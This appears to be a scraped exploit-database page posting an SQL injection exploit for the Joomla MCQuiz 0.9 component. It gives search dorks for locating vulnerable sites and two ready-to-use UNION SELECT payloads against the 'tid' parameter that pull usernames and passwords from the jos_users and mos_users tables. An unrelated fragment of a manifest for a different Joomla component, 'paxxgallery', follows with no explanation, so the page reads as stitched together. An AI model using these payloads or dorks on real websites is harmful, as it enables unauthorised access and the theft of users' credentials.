Joomla Component MCQuiz 0.9 Final (tid) SQL Injection Vulnerability

Exploit Code :

###############################################################
#
# joomla SQL Injection(com_mcquiz)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
#
# MAİL : hackturkiye.hackturkiye@gmail.com
#
#
################################################################
#
# DORK 1 : allinurl: com_mcquiz "tid"
#
# DORK 2 : allinurl: com_mcquiz
#
################################################################

ATTACKER CAN SEE PASSWORD AND USERNAME UNDER PAGE

EXAMPLE=www.xxxxx.com/index.php?option=com_mcquiz&task=user_tst_shw&Itemid=
xxx&tid= [EXPLOİT]

EXPLOIT=1=

1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),conc
at(username,0x3a,password),0x3a/**/from/**/jos_users/*

EXPLOİT=2=

1/**/union/**/select/**/0,concat(username,0x3a,password),concat(username,0x
3a,password)/**/from/**/mos_users/*

################################################################
# S@BUN i AM NOT HACKER S@BUN
################################################################

<name>paxxgallery</name>
<author>Tobias Floery</author>
<copyright>(c) Tobias Floery</copyright>
<license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
<authorEmail>tobias@floery.net</authorEmail>

<authorUrl>www.floery.net</authorUrl>
<version>0.2</version>
<creationDate>07.01.2006</creationDate>
<description>
<![CDATA[
<h1>The PHP AjaX Gallery</h1>
PAXXGallery is a PHP and JS Gallery Component for Joomla using AJAX
Technology.
The component is designed to work even with Safe- Mode: ON! servers and a
FTP Upload is integrated.
]]>
</description>

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason